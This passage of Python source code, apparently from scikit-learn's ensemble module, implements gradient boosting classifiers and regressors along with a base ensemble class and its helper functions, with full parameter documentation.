            max_features = self.n_features
        elif isinstance(self.max_features, (numbers.Integral, np.integer)):
            max_features = self.max_features
        else:  # float
            if 0. < self.max_features <= 1.:
                max_features = max(int(self.max_features * self.n_features), 1)
            else:
                raise ValueError("max_features must be in (0, n_features]")

        self.max_features_ = max_features

    def _init_state(self):
        """Initialize model state and allocate model state data structures. """

        if self.init is None:
            self.init_ = self.loss_.init_estimator()
        elif isinstance(self.init, six.string_types):
            self.init_ = INIT_ESTIMATORS[self.init]()
        else:
            self.init_ = self.init

        self.estimators_ = np.empty((self.n_estimators, self.loss_.K),
                                    dtype=np.object)
        self.train_score_ = np.zeros((self.n_estimators,), dtype=np.float64)
        # do oob?
        if self.subsample < 1.0:
            self.oob_improvement_ = np.zeros((self.n_estimators),
                                             dtype=np.float64)

    def _clear_state(self):
        """Clear the state of the gradient boosting model. """
        if hasattr(self, 'estimators_'):
            self.estimators_ = np.empty((0, 0), dtype=np.object)
        if hasattr(self, 'train_score_'):
            del self.train_score_
        if hasattr(self, 'oob_improvement_'):
            del self.oob_improvement_
        if hasattr(self, 'init_'):
            del self.init_

    def _resize_state(self):
        """Add additional ``n_estimators`` entries to all attributes. """
        # self.n_estimators is the number of additional est to fit
        total_n_estimators = self.n_estimators
        if total_n_estimators < self.estimators_.shape[0]:
            raise ValueError('resize with smaller n_estimators %d < %d' %
                             (total_n_estimators, self.estimators_[0]))

        self.estimators_.resize((total_n_estimators, self.loss_.K))
        self.train_score_.resize(total_n_estimators)
        if (self.subsample < 1 or hasattr(self, 'oob_improvement_')):
            # if do oob resize arrays or create new if not available
            if hasattr(self, 'oob_improvement_'):
                self.oob_improvement_.resize(total_n_estimators)
            else:
                self.oob_improvement_ = np.zeros((total_n_estimators,),
                                                 dtype=np.float64)

    def _is_initialized(self):
        return len(getattr(self, 'estimators_', [])) > 0

    def _check_initialized(self):
        """Check that the estimator is initialized, raising an error if not."""
        if self.estimators_ is None or len(self.estimators_) == 0:
            raise NotFittedError("Estimator not fitted, call `fit`"
                                 " before making predictions`.")

    def fit(self, X, y, sample_weight=None, monitor=None):
        """Fit the gradient boosting model.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]
            Training vectors, where n_samples is the number of samples
            and n_features is the number of features.

        y : array-like, shape = [n_samples]
            Target values (integers in classification, real numbers in
            regression)
            For classification, labels must correspond to classes.

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted. Splits
            that would create child nodes with net zero or negative weight are
            ignored while searching for a split in each node. In the case of
            classification, splits are also ignored if they would result in any
            single class carrying a negative weight in either child node.

        monitor : callable, optional
            The monitor is called after each iteration with the current
            iteration, a reference to the estimator and the local variables of
            ``_fit_stages`` as keyword arguments ``callable(i, self,
            locals())``. If the callable returns ``True`` the fitting procedure
            is stopped. The monitor can be used for various things such as
            computing held-out estimates, early stopping, model introspect, and
            snapshoting.

        Returns
        -------
        self : object
            Returns self.
        """
        # if not warmstart - clear the estimator state
        if not self.warm_start:
            self._clear_state()

        # Check input
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc', 'coo'], dtype=DTYPE)
        n_samples, self.n_features = X.shape
        if sample_weight is None:
            sample_weight = np.ones(n_samples, dtype=np.float32)
        else:
            sample_weight = column_or_1d(sample_weight, warn=True)

        check_consistent_length(X, y, sample_weight)

        y = self._validate_y(y)

        random_state = check_random_state(self.random_state)
        self._check_params()

        if not self._is_initialized():
            # init state
            self._init_state()

            # fit initial model - FIXME make sample_weight optional
            self.init_.fit(X, y, sample_weight)

            # init predictions
            y_pred = self.init_.predict(X)
            begin_at_stage = 0
        else:
            # add more estimators to fitted model
            # invariant: warm_start = True
            if self.n_estimators < self.estimators_.shape[0]:
                raise ValueError('n_estimators=%d must be larger or equal to '
                                 'estimators_.shape[0]=%d when '
                                 'warm_start==True'
                                 % (self.n_estimators,
                                    self.estimators_.shape[0]))
            begin_at_stage = self.estimators_.shape[0]
            y_pred = self._decision_function(X)
            self._resize_state()

        X_idx_sorted = None
        presort = self.presort
        # Allow presort to be 'auto', which means True if the dataset is dense,
        # otherwise it will be False.
        if presort == 'auto' and issparse(X):
            presort = False
        elif presort == 'auto':
            presort = True

        if presort == True:
            if issparse(X):
                raise ValueError("Presorting is not supported for sparse matrices.")
            else:
                X_idx_sorted = np.asfortranarray(np.argsort(X, axis=0),
                                                 dtype=np.int32)

        # fit the boosting stages
        n_stages = self._fit_stages(X, y, y_pred, sample_weight, random_state,
                                    begin_at_stage, monitor, X_idx_sorted)
        # change shape of arrays after fit (early-stopping or additional ests)
        if n_stages != self.estimators_.shape[0]:
            self.estimators_ = self.estimators_[:n_stages]
            self.train_score_ = self.train_score_[:n_stages]
            if hasattr(self, 'oob_improvement_'):
                self.oob_improvement_ = self.oob_improvement_[:n_stages]

        return self

    def _fit_stages(self, X, y, y_pred, sample_weight, random_state,
                    begin_at_stage=0, monitor=None, X_idx_sorted=None):
        """Iteratively fits the stages.

        For each stage it computes the progress (OOB, train score)
        and delegates to ``_fit_stage``.
        Returns the number of stages fit; might differ from ``n_estimators``
        due to early stopping.
        """
        n_samples = X.shape[0]
        do_oob = self.subsample < 1.0
        sample_mask = np.ones((n_samples, ), dtype=np.bool)
        n_inbag = max(1, int(self.subsample * n_samples))
        loss_ = self.loss_

        # Set min_weight_leaf from min_weight_fraction_leaf
        if self.min_weight_fraction_leaf != 0. and sample_weight is not None:
            min_weight_leaf = (self.min_weight_fraction_leaf *
                               np.sum(sample_weight))
        else:
            min_weight_leaf = 0.

        if self.verbose:
            verbose_reporter = VerboseReporter(self.verbose)
            verbose_reporter.init(self, begin_at_stage)

        X_csc = csc_matrix(X) if issparse(X) else None
        X_csr = csr_matrix(X) if issparse(X) else None

        # perform boosting iterations
        i = begin_at_stage
        for i in range(begin_at_stage, self.n_estimators):

            # subsampling
            if do_oob:
                sample_mask = _random_sample_mask(n_samples, n_inbag,
                                                  random_state)
                # OOB score before adding this stage
                old_oob_score = loss_(y[~sample_mask],
                                      y_pred[~sample_mask],
                                      sample_weight[~sample_mask])

            # fit next stage of trees
            y_pred = self._fit_stage(i, X, y, y_pred, sample_weight,
                                     sample_mask, random_state, X_idx_sorted,
                                     X_csc, X_csr)

            # track deviance (= loss)
            if do_oob:
                self.train_score_[i] = loss_(y[sample_mask],
                                             y_pred[sample_mask],
                                             sample_weight[sample_mask])
                self.oob_improvement_[i] = (
                    old_oob_score - loss_(y[~sample_mask],
                                          y_pred[~sample_mask],
                                          sample_weight[~sample_mask]))
            else:
                # no need to fancy index w/ no subsampling
                self.train_score_[i] = loss_(y, y_pred, sample_weight)

            if self.verbose > 0:
                verbose_reporter.update(i, self)

            if monitor is not None:
                early_stopping = monitor(i, self, locals())
                if early_stopping:
                    break
        return i + 1

    def _make_estimator(self, append=True):
        # we don't need _make_estimator
        raise NotImplementedError()

    def _init_decision_function(self, X):
        """Check input and compute prediction of ``init``. """
        self._check_initialized()
        X = self.estimators_[0, 0]._validate_X_predict(X, check_input=True)
        if X.shape[1] != self.n_features:
            raise ValueError("X.shape[1] should be {0:d}, not {1:d}.".format(
                self.n_features, X.shape[1]))
        score = self.init_.predict(X).astype(np.float64)
        return score

    def _decision_function(self, X):
        # for use in inner loop, not raveling the output in single-class case,
        # not doing input validation.
        score = self._init_decision_function(X)
        predict_stages(self.estimators_, X, self.learning_rate, score)
        return score

    @deprecated(" and will be removed in 0.19")
    def decision_function(self, X):
        """Compute the decision function of ``X``.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        score : array, shape = [n_samples, n_classes] or [n_samples]
            The decision function of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
            Regression and binary classification produce an array of shape
            [n_samples].
        """

        self._check_initialized()
        X = self.estimators_[0, 0]._validate_X_predict(X, check_input=True)
        score = self._decision_function(X)
        if score.shape[1] == 1:
            return score.ravel()
        return score

    def _staged_decision_function(self, X):
        """Compute decision function of ``X`` for each iteration.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        score : generator of array, shape = [n_samples, k]
            The decision function of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
            Regression and binary classification are special cases with
            ``k == 1``, otherwise ``k==n_classes``.
        """
        X = check_array(X, dtype=DTYPE, order="C")
        score = self._init_decision_function(X)
        for i in range(self.estimators_.shape[0]):
            predict_stage(self.estimators_, i, X, self.learning_rate, score)
            yield score.copy()

    @deprecated(" and will be removed in 0.19")
    def staged_decision_function(self, X):
        """Compute decision function of ``X`` for each iteration.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        score : generator of array, shape = [n_samples, k]
            The decision function of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
            Regression and binary classification are special cases with
            ``k == 1``, otherwise ``k==n_classes``.
        """
        for dec in self._staged_decision_function(X):
            # no yield from in Python2.X
            yield dec

    @property
    def feature_importances_(self):
        """Return the feature importances (the higher, the more important the
           feature).

        Returns
        -------
        feature_importances_ : array, shape = [n_features]
        """
        self._check_initialized()

        total_sum = np.zeros((self.n_features, ), dtype=np.float64)
        for stage in self.estimators_:
            stage_sum = sum(tree.feature_importances_
                            for tree in stage) / len(stage)
            total_sum += stage_sum

        importances = total_sum / len(self.estimators_)
        return importances

    def _validate_y(self, y):
        self.n_classes_ = 1
        if y.dtype.kind == 'O':
            y = y.astype(np.float64)
        # Default implementation
        return y

    def apply(self, X):
        """Apply trees in the ensemble to X, return leaf indices.

        .. versionadded:: 0.17

        Parameters
        ----------
        X : array-like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        X_leaves : array_like, shape = [n_samples, n_estimators, n_classes]
            For each datapoint x in X and for each tree in the ensemble,
            return the index of the leaf x ends up in each estimator.
            In the case of binary classification n_classes is 1.
        """

        self._check_initialized()
        X = self.estimators_[0, 0]._validate_X_predict(X, check_input=True)

        # n_classes will be equal to 1 in the binary classification or the
        # regression case.
        n_estimators, n_classes = self.estimators_.shape
        leaves = np.zeros((X.shape[0], n_estimators, n_classes))

        for i in range(n_estimators):
            for j in range(n_classes):
                estimator = self.estimators_[i, j]
                leaves[:, i, j] = estimator.apply(X, check_input=False)

        return leaves


class GradientBoostingClassifier(BaseGradientBoosting, ClassifierMixin):
    """Gradient Boosting for classification.

    GB builds an additive model in a
    forward stage-wise fashion; it allows for the optimization of
    arbitrary differentiable loss functions. In each stage ``n_classes_``
    regression trees are fit on the negative gradient of the
    binomial or multinomial deviance loss function. Binary classification
    is a special case where only a single regression tree is induced.

    Read more in the :ref:`User Guide <gradient_boosting>`.

    Parameters
    ----------
    loss : {'deviance', 'exponential'}, optional (default='deviance')
        loss function to be optimized. 'deviance' refers to
        deviance (= logistic regression) for classification
        with probabilistic outputs. For loss 'exponential' gradient
        boosting recovers the AdaBoost algorithm.

    learning_rate : float, optional (default=0.1)
        learning rate shrinks the contribution of each tree by `learning_rate`.
        There is a trade-off between learning_rate and n_estimators.

    n_estimators : int (default=100)
        The number of boosting stages to perform. Gradient boosting
        is fairly robust to over-fitting so a large number usually
        results in better performance.

    max_depth : integer, optional (default=3)
        maximum depth of the individual regression estimators. The maximum
        depth limits the number of nodes in the tree. Tune this parameter
        for best performance; the best value depends on the interaction
        of the input variables.

    criterion : string, optional (default="friedman_mse")
        The function to measure the quality of a split. Supported criteria
        are "friedman_mse" for the mean squared error with improvement
        score by Friedman, "mse" for mean squared error, and "mae" for
        the mean absolute error. The default value of "friedman_mse" is
        generally the best as it can provide a better approximation in
        some cases.

        .. versionadded:: 0.18

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.


    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    subsample : float, optional (default=1.0)
        The fraction of samples to be used for fitting the individual base
        learners. If smaller than 1.0 this results in Stochastic Gradient
        Boosting. `subsample` interacts with the parameter `n_estimators`.
        Choosing `subsample < 1.0` leads to a reduction of variance
        and an increase in bias.

    max_features : int, float, string or None, optional (default=None)
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=sqrt(n_features)`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Choosing `max_features < n_features` leads to a reduction of variance
        and an increase in bias.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    init : BaseEstimator, None, optional (default=None)
        An estimator object that is used to compute the initial
        predictions. ``init`` has to provide ``fit`` and ``predict``.
        If None it uses ``loss.init_estimator``.

    verbose : int, default: 0
        Enable verbose output. If 1 then it prints progress and performance
        once in a while (the more trees the lower the frequency). If greater
        than 1 then it prints progress and performance for every tree.

    warm_start : bool, default: False
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just erase the
        previous solution.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    presort : bool or 'auto', optional (default='auto')
        Whether to presort the data to speed up the finding of best splits in
        fitting. Auto mode by default will use presorting on dense data and
        default to normal sorting on sparse data. Setting presort to true on
        sparse data will raise an error.

        .. versionadded:: 0.17
           *presort* parameter.

    Attributes
    ----------
    feature_importances_ : array, shape = [n_features]
        The feature importances (the higher, the more important the feature).

    oob_improvement_ : array, shape = [n_estimators]
        The improvement in loss (= deviance) on the out-of-bag samples
        relative to the previous iteration.
        ``oob_improvement_[0]`` is the improvement in
        loss of the first stage over the ``init`` estimator.

    train_score_ : array, shape = [n_estimators]
        The i-th score ``train_score_[i]`` is the deviance (= loss) of the
        model at iteration ``i`` on the in-bag sample.
        If ``subsample == 1`` this is the deviance on the training data.

    loss_ : LossFunction
        The concrete ``LossFunction`` object.

    init : BaseEstimator
        The estimator that provides the initial predictions.
        Set via the ``init`` argument or ``loss.init_estimator``.

    estimators_ : ndarray of DecisionTreeRegressor, shape = [n_estimators, ``loss_.K``]
        The collection of fitted sub-estimators. ``loss_.K`` is 1 for binary
        classification, otherwise n_classes.


    See also
    --------
    sklearn.tree.DecisionTreeClassifier, RandomForestClassifier
    AdaBoostClassifier

    References
    ----------
    J. Friedman, Greedy Function Approximation: A Gradient Boosting
    Machine, The Annals of Statistics, Vol. 29, No. 5, 2001.

    J. Friedman, Stochastic Gradient Boosting, 1999

    T. Hastie, R. Tibshirani and J. Friedman.
    Elements of Statistical Learning Ed. 2, Springer, 2009.
    """

    _SUPPORTED_LOSS = ('deviance', 'exponential')

    def __init__(self, loss='deviance', learning_rate=0.1, n_estimators=100,
                 subsample=1.0, criterion='friedman_mse', min_samples_split=2,
                 min_samples_leaf=1, min_weight_fraction_leaf=0.,
                 max_depth=3, min_impurity_split=1e-7, init=None,
                 random_state=None, max_features=None, verbose=0,
                 max_leaf_nodes=None, warm_start=False,
                 presort='auto'):

        super(GradientBoostingClassifier, self).__init__(
            loss=loss, learning_rate=learning_rate, n_estimators=n_estimators,
            criterion=criterion, min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_depth=max_depth, init=init, subsample=subsample,
            max_features=max_features,
            random_state=random_state, verbose=verbose,
            max_leaf_nodes=max_leaf_nodes,
            min_impurity_split=min_impurity_split,
            warm_start=warm_start,
            presort=presort)

    def _validate_y(self, y):
        check_classification_targets(y)
        self.classes_, y = np.unique(y, return_inverse=True)
        self.n_classes_ = len(self.classes_)
        return y

    def decision_function(self, X):
        """Compute the decision function of ``X``.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        score : array, shape = [n_samples, n_classes] or [n_samples]
            The decision function of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
            Regression and binary classification produce an array of shape
            [n_samples].
        """
        X = check_array(X, dtype=DTYPE, order="C")
        score = self._decision_function(X)
        if score.shape[1] == 1:
            return score.ravel()
        return score

    def staged_decision_function(self, X):
        """Compute decision function of ``X`` for each iteration.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        score : generator of array, shape = [n_samples, k]
            The decision function of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
            Regression and binary classification are special cases with
            ``k == 1``, otherwise ``k==n_classes``.
        """
        for dec in self._staged_decision_function(X):
            # no yield from in Python2.X
            yield dec

    def predict(self, X):
        """Predict class for X.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y: array of shape = ["n_samples]
            The predicted values.
        """
        score = self.decision_function(X)
        decisions = self.loss_._score_to_decision(score)
        return self.classes_.take(decisions, axis=0)

    def staged_predict(self, X):
        """Predict class at each stage for X.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : generator of array of shape = [n_samples]
            The predicted value of the input samples.
        """
        for score in self._staged_decision_function(X):
            decisions = self.loss_._score_to_decision(score)
            yield self.classes_.take(decisions, axis=0)

    def predict_proba(self, X):
        """Predict class probabilities for X.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Raises
        ------
        AttributeError
            If the ``loss`` does not support probabilities.

        Returns
        -------
        p : array of shape = [n_samples]
            The class probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        score = self.decision_function(X)
        try:
            return self.loss_._score_to_proba(score)
        except NotFittedError:
            raise
        except AttributeError:
            raise AttributeError('loss=%r does not support predict_proba' %
                                 self.loss)

    def predict_log_proba(self, X):
        """Predict class log-probabilities for X.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Raises
        ------
        AttributeError
            If the ``loss`` does not support probabilities.

        Returns
        -------
        p : array of shape = [n_samples]
            The class log-probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        proba = self.predict_proba(X)
        return np.log(proba)

    def staged_predict_proba(self, X):
        """Predict class probabilities at each stage for X.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : generator of array of shape = [n_samples]
            The predicted value of the input samples.
        """
        try:
            for score in self._staged_decision_function(X):
                yield self.loss_._score_to_proba(score)
        except NotFittedError:
            raise
        except AttributeError:
            raise AttributeError('loss=%r does not support predict_proba' %
                                 self.loss)


class GradientBoostingRegressor(BaseGradientBoosting, RegressorMixin):
    """Gradient Boosting for regression.

    GB builds an additive model in a forward stage-wise fashion;
    it allows for the optimization of arbitrary differentiable loss functions.
    In each stage a regression tree is fit on the negative gradient of the
    given loss function.

    Read more in the :ref:`User Guide <gradient_boosting>`.

    Parameters
    ----------
    loss : {'ls', 'lad', 'huber', 'quantile'}, optional (default='ls')
        loss function to be optimized. 'ls' refers to least squares
        regression. 'lad' (least absolute deviation) is a highly robust
        loss function solely based on order information of the input
        variables. 'huber' is a combination of the two. 'quantile'
        allows quantile regression (use `alpha` to specify the quantile).

    learning_rate : float, optional (default=0.1)
        learning rate shrinks the contribution of each tree by `learning_rate`.
        There is a trade-off between learning_rate and n_estimators.

    n_estimators : int (default=100)
        The number of boosting stages to perform. Gradient boosting
        is fairly robust to over-fitting so a large number usually
        results in better performance.

    max_depth : integer, optional (default=3)
        maximum depth of the individual regression estimators. The maximum
        depth limits the number of nodes in the tree. Tune this parameter
        for best performance; the best value depends on the interaction
        of the input variables.

    criterion : string, optional (default="friedman_mse")
        The function to measure the quality of a split. Supported criteria
        are "friedman_mse" for the mean squared error with improvement
        score by Friedman, "mse" for mean squared error, and "mae" for
        the mean absolute error. The default value of "friedman_mse" is
        generally the best as it can provide a better approximation in
        some cases.

        .. versionadded:: 0.18

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    subsample : float, optional (default=1.0)
        The fraction of samples to be used for fitting the individual base
        learners. If smaller than 1.0 this results in Stochastic Gradient
        Boosting. `subsample` interacts with the parameter `n_estimators`.
        Choosing `subsample < 1.0` leads to a reduction of variance
        and an increase in bias.

    max_features : int, float, string or None, optional (default=None)
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=n_features`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Choosing `max_features < n_features` leads to a reduction of variance
        and an increase in bias.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_leaf_nodes : int or None, optional (default=None)
        Grow trees with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    alpha : float (default=0.9)
        The alpha-quantile of the huber loss function and the quantile
        loss function. Only if ``loss='huber'`` or ``loss='quantile'``.

    init : BaseEstimator, None, optional (default=None)
        An estimator object that is used to compute the initial
        predictions. ``init`` has to provide ``fit`` and ``predict``.
        If None it uses ``loss.init_estimator``.

    verbose : int, default: 0
        Enable verbose output. If 1 then it prints progress and performance
        once in a while (the more trees the lower the frequency). If greater
        than 1 then it prints progress and performance for every tree.

    warm_start : bool, default: False
        When set to ``True``, reuse the solution of the previous call to fit
        and add more estimators to the ensemble, otherwise, just erase the
        previous solution.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    presort : bool or 'auto', optional (default='auto')
        Whether to presort the data to speed up the finding of best splits in
        fitting. Auto mode by default will use presorting on dense data and
        default to normal sorting on sparse data. Setting presort to true on
        sparse data will raise an error.

        .. versionadded:: 0.17
           optional parameter *presort*.

    Attributes
    ----------
    feature_importances_ : array, shape = [n_features]
        The feature importances (the higher, the more important the feature).

    oob_improvement_ : array, shape = [n_estimators]
        The improvement in loss (= deviance) on the out-of-bag samples
        relative to the previous iteration.
        ``oob_improvement_[0]`` is the improvement in
        loss of the first stage over the ``init`` estimator.

    train_score_ : array, shape = [n_estimators]
        The i-th score ``train_score_[i]`` is the deviance (= loss) of the
        model at iteration ``i`` on the in-bag sample.
        If ``subsample == 1`` this is the deviance on the training data.

    loss_ : LossFunction
        The concrete ``LossFunction`` object.

    `init` : BaseEstimator
        The estimator that provides the initial predictions.
        Set via the ``init`` argument or ``loss.init_estimator``.

    estimators_ : ndarray of DecisionTreeRegressor, shape = [n_estimators, 1]
        The collection of fitted sub-estimators.

    See also
    --------
    DecisionTreeRegressor, RandomForestRegressor

    References
    ----------
    J. Friedman, Greedy Function Approximation: A Gradient Boosting
    Machine, The Annals of Statistics, Vol. 29, No. 5, 2001.

    J. Friedman, Stochastic Gradient Boosting, 1999

    T. Hastie, R. Tibshirani and J. Friedman.
    Elements of Statistical Learning Ed. 2, Springer, 2009.
    """

    _SUPPORTED_LOSS = ('ls', 'lad', 'huber', 'quantile')

    def __init__(self, loss='ls', learning_rate=0.1, n_estimators=100,
                 subsample=1.0, criterion='friedman_mse', min_samples_split=2,
                 min_samples_leaf=1, min_weight_fraction_leaf=0.,
                 max_depth=3, min_impurity_split=1e-7, init=None, random_state=None,
                 max_features=None, alpha=0.9, verbose=0, max_leaf_nodes=None,
                 warm_start=False, presort='auto'):

        super(GradientBoostingRegressor, self).__init__(
            loss=loss, learning_rate=learning_rate, n_estimators=n_estimators,
            criterion=criterion, min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_depth=max_depth, init=init, subsample=subsample,
            max_features=max_features, min_impurity_split=min_impurity_split,
            random_state=random_state, alpha=alpha, verbose=verbose,
            max_leaf_nodes=max_leaf_nodes, warm_start=warm_start,
            presort=presort)

    def predict(self, X):
        """Predict regression target for X.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : array of shape = [n_samples]
            The predicted values.
        """
        X = check_array(X, dtype=DTYPE, order="C")
        return self._decision_function(X).ravel()

    def staged_predict(self, X):
        """Predict regression target at each stage for X.

        This method allows monitoring (i.e. determine error on testing set)
        after each stage.

        Parameters
        ----------
        X : array-like of shape = [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : generator of array of shape = [n_samples]
            The predicted value of the input samples.
        """
        for y in self._staged_decision_function(X):
            yield y.ravel()

    def apply(self, X):
        """Apply trees in the ensemble to X, return leaf indices.

        .. versionadded:: 0.17

        Parameters
        ----------
        X : array-like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        X_leaves : array_like, shape = [n_samples, n_estimators]
            For each datapoint x in X and for each tree in the ensemble,
            return the index of the leaf x ends up in each estimator.
        """

        leaves = super(GradientBoostingRegressor, self).apply(X)
        leaves = leaves.reshape(X.shape[0], self.estimators_.shape[0])
        return leaves






"""
Base class for ensemble-based estimators.
"""

# Authors: Gilles Louppe
# License: BSD 3 clause

import numpy as np

from ..base import clone
from ..base import BaseEstimator
from ..base import MetaEstimatorMixin
from ..utils import _get_n_jobs


class BaseEnsemble(BaseEstimator, MetaEstimatorMixin):
    """Base class for all ensemble classes.

    Warning: This class should not be used directly. Use derived classes
    instead.

    Parameters
    ----------
    base_estimator : object, optional (default=None)
        The base estimator from which the ensemble is built.

    n_estimators : integer
        The number of estimators in the ensemble.

    estimator_params : list of strings
        The list of attributes to use as parameters when instantiating a
        new base estimator. If none are given, default parameters are used.

    Attributes
    ----------
    base_estimator_ : estimator
        The base estimator from which the ensemble is grown.

    estimators_ : list of estimators
        The collection of fitted base estimators.
    """

    def __init__(self, base_estimator, n_estimators=10,
                 estimator_params=tuple()):
        # Set parameters
        self.base_estimator = base_estimator
        self.n_estimators = n_estimators
        self.estimator_params = estimator_params

        # Don't instantiate estimators now! Parameters of base_estimator might
        # still change. Eg., when grid-searching with the nested object syntax.
        # This needs to be filled by the derived classes.
        self.estimators_ = []

    def _validate_estimator(self, default=None):
        """Check the estimator and the n_estimator attribute, set the
        `base_estimator_` attribute."""
        if self.n_estimators <= 0:
            raise ValueError("n_estimators must be greater than zero, "
                             "got {0}.".format(self.n_estimators))

        if self.base_estimator is not None:
            self.base_estimator_ = self.base_estimator
        else:
            self.base_estimator_ = default

        if self.base_estimator_ is None:
            raise ValueError("base_estimator cannot be None")

    def _make_estimator(self, append=True):
        """Make and configure a copy of the `base_estimator_` attribute.

        Warning: This method should be used to properly instantiate new
        sub-estimators.
        """
        estimator = clone(self.base_estimator_)
        estimator.set_params(**dict((p, getattr(self, p))
                                    for p in self.estimator_params))

        if append:
            self.estimators_.append(estimator)

        return estimator

    def __len__(self):
        """Returns the number of estimators in the ensemble."""
        return len(self.estimators_)

    def __getitem__(self, index):
        """Returns the index'th estimator in the ensemble."""
        return self.estimators_[index]

    def __iter__(self):
        """Returns iterator over estimators in the ensemble."""
        return iter(self.estimators_)


def _partition_estimators(n_estimators, n_jobs):
    """Private function used to partition estimators between jobs."""
    # Compute the number of jobs
    n_jobs = min(_get_n_jobs(n_jobs), n_estimators)

    # Partition estimators between jobs
    n_estimators_per_job = (n_estimators // n_jobs) * np.ones(n_jobs,
                                                              dtype=np.int)
    n_estimators_per_job[:n_estimators % n_jobs] += 1
    starts = np.cumsum(n_estimators_per_job)

    return n_jobs, n_estimators_per_job.tolist(), [0] + starts.tolist()






# Authors: Nicolas Goix <nicolas.goix@telecom-paristech.fr>
#          Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
# License: BSD 3 clause

from __future__ import division

import numpy as np
